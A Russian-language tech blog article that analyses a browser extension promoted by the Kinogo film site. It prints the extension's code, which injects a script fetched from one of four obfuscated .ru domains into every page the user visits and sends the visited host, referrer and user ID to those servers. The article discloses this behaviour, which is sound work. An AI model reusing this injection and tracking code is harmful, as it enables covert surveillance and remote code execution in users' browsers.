Как стать автором
Поиск
Написать публикацию
Обновить

Браузерное расширение от сайта Kinogo

Время на прочтение6 мин
Количество просмотров124K
Продолжая тему обзора расширений, рассмотрим следующее.
При входе на сайт Kinogo начал возникать баннер:



Мне стало интересно что это за расширение и решил просмотреть код.

Почему появилось расширение?


Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):



Текст со скриншота
Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.

Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.

Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.

О расширении


Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.

Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3

Обзор кода расширения


Коротко опишу, только интересную цепочку:

1. Разбор любого расширения начинается с manifest.json

manifest.json
{
   "background": {
      "page": "html/background.html"
   },
   "content_scripts": [ {
      "js": [
         "core/frameworks/cajon.js",
         "core/frameworks/jquery.js",
         "core/process.js"
      ],
      "matches": [ "*://*/*" ],
      "run_at": "document_start"
   } ],
   "description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
   "icons": {
      "128": "images/128.png",
      "16": "images/16.png",
      "48": "images/48.png"
   },
   "manifest_version": 2,
   "name": "Angry Kino - уход от бана",
   "permissions": [
      "webRequest",
      "webRequestBlocking",
      "webNavigation",
      "tabs",
      "\u003Call_urls>"
   ],
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "1.0.3",
   "web_accessible_resources": [
      "images/_.png",
      "core/content.js",
      "core/contentSession.js",
      "core/messaging.js",
      "core/frameworks/uri.js",
      "core/backgroundHandlers.js",
      "core/backgroundSession.js",
      "core/backgroundUtils.js"
   ]
}


2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js

process.js
require.config({
  baseUrl:  chrome.extension.getURL('/') 
});


require([
  "core/content"
], function() { 
});


3. В process.js с помощью функции require подключается файл «content.js»

content.js
define(function (require) {
    exports = {};

    (function () {
        var messageDispatcher = require('core/messaging').MessageDispatcher;

        messageDispatcher.sendToBackground(
            {
                cmd: 'GetRequestUrl'
            }, function (url) {
                if (url) {
                    url = url.replace(/^https?:/, '')
                            + '&r=' + encodeURIComponent(document.referrer)
                            + '&h=' + encodeURIComponent(document.location.host)
                            + '&rand=' + (new Date()).getTime();

                    if (document.head) {
                        $("head").append($("<script />", {
                            src: url
                        }));
                    } else {
                        var i = setInterval(function () {
                            if (document.head) {
                                clearInterval(i);
                                $("head").append($("<script />", {
                                    src: url
                                }));
                            }
                        }, 100);
                    }
                }
            });

        if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {

            var i2 = setInterval(function () {
                if (document.body) {
                    clearInterval(i2);
                    $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
                }
            }, 100);
        }

    }).call(this);

    return exports;
});


4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js

messaging.js
define(function (require) {
    exports = {};

    (function () {

        var _handlers = {};

        function dispatcher(handlers, request, sender, sendResponse) {
            if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
                throw 'Error: Bad request!';
            }

            var handlerName = 'handle' + request.cmd;
            var handler = handlers[handlerName];
            if (!(typeof handler === 'function')) {
                return;
            }

            handler(request.args, sender, sendResponse);
        }

        chrome.extension.onMessage.addListener(
            function (request, sender, sendResponse) {
                dispatcher(_handlers, request, sender, sendResponse);
            }
        );

        exports.MessageDispatcher = {
            
            addHandlers: function(handlers) {
                for(var name in handlers) {
                    _handlers[name] = handlers[name];
                }
            },
            
            sendToBackground: function (request, callback) {

                callback = callback || $.noop;
                chrome.extension.sendMessage(request, callback);
            },
            sendToContentScript: function (tabId, request, callback) {

                callback = callback || $.noop;
                chrome.tabs.sendMessage(tabId, request, callback);
            }

        };

    }).call(this);

    return exports;
});


5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.

6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.

7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:

manifest.json ==(key "background.page")==> background.html
backround.html ==(script)==> demon.js
demon.js ==(require)==> backround.js
background.js ==(require)==> backgroundHandlers.js
backgroundHandlers.js ==(require)==> backgroundUtils.js


8. Рассмотрим backgroundUtils.js

backgroundUtils.js
define(function (require) {
    exports = {};
    (function () {

        var Session = require('core/backgroundSession').Session;
        var ProxyGetter = require('core/proxy').ProxyGetter;


        exports = {
            getRequestUrl: function() {
                if (ProxyGetter.serverIp) {
                    return (
                            ProxyGetter.serverIp + '/getscripts2?'
                            + this.getRequestParams()
                        );
                }
            },
            
            getRequestParams: function() {
                return ('&b=' + Session.buildId
                        + '&uid=' + Session.instanceId
                        + '&insd=' + Session.installDate
                        + '&sid=' 
                        + '&df=' 
                    );
            },
            
            sendNotify: function(from, to) {
                if (ProxyGetter.serverIp) {
                    var url = (
                            ProxyGetter.serverIp + '/kinogo_log?'
                            + this.getRequestParams()
                            + '&from=' + encodeURIComponent(from)
                            + '&to=' + encodeURIComponent(to)
                        );
                
                    $.get(url);
                }
            }
        };

    }).call(this);


    return exports;
});


9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).

'http://outrageous.ru',
'http://thrilling.ru',
'http://frightened.ru',
'http://agitated.ru',

proxy.js
define(function (require) {
    exports = {};

    (function () {
        
		/**
		* Bypass protection from Roskomnadzor
		*/
        var reserveLinks = [
            'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
            'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
            'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
            'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
        ];
        
        var ProxyGetter = {};
        ProxyGetter.serverIp = null;
        
        /**
         * Use proxy
         * @param {type} callback
         * @returns {undefined}
         */
        ProxyGetter.findServer = function (callback) {
            ProxyGetter.serverIp = null;
            if(reserveLinks.length > 0) {
                ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
            }
            callback();
        };
        
        exports.ProxyGetter = ProxyGetter;

    }).call(this);
    return exports;
});


10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.

Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:



А теперь соберем все воедино:

1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.

Выводы делайте сами.

P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
Теги:
Хабы:
Всего голосов 79: ↑73 и ↓6+67
Комментарии56

Публикации

Ближайшие события